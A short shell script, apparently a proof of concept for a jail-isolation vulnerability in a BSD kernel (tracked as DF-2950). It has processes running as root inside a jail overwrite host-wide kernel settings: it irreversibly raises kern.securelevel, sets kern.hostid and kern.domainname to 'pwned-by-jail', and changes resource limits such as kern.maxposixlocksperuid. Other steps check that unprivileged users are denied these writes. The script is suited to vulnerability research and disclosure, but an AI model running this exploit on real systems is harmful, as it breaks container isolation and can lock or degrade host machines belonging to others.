#!/bin/sh
# DF-2950 PoC run 2: corrected [5] (real unpriv host user via su),
# no uncapped jail-hostname write (that triggers known DF-0181 wedge).
set -x
date; uname -r; sysctl kern.securelevel kern.hostid kern.domainname

echo '=== [1] jailed uid-0 raises HOST kern.securelevel ==='
jail / df2950ja 127.0.0.4 /bin/sh -c 'id; sysctl -w kern.securelevel=1'
echo "rc=$?"
echo '=== [2] HOST root cannot lower it (irreversible) ==='
sysctl -w kern.securelevel=0
echo "host-root lower rc=$?"
echo '=== [3] jailed uid-0 corrupts HOST hostid/domainname ==='
jail / df2950jb 127.0.0.4 /bin/sh -c 'sysctl -w kern.hostid=4242; sysctl -w kern.domainname=pwned-by-jail'
sysctl kern.hostid kern.domainname
echo '=== [4] jailed NON-root denied ==='
jail / df2950jc 127.0.0.4 /bin/sh -c 'su -m nobody -c "sysctl -w kern.hostid=7"'
echo "rc=$?"
echo '=== [5] HOST unprivileged user denied (via su maxx) ==='
su -m maxx -c 'id; sysctl -w kern.hostid=7'
echo "rc=$?"
sysctl kern.hostid
echo '=== [6] jailed uid-0 can also write other host-global tunables ==='
jail / df2950jd 127.0.0.4 /bin/sh -c 'sysctl -w kern.maxposixlocksperuid=1; sysctl -w kern.tls_extra=777'
sysctl kern.maxposixlocksperuid kern.tls_extra
date
echo DONE-MARKER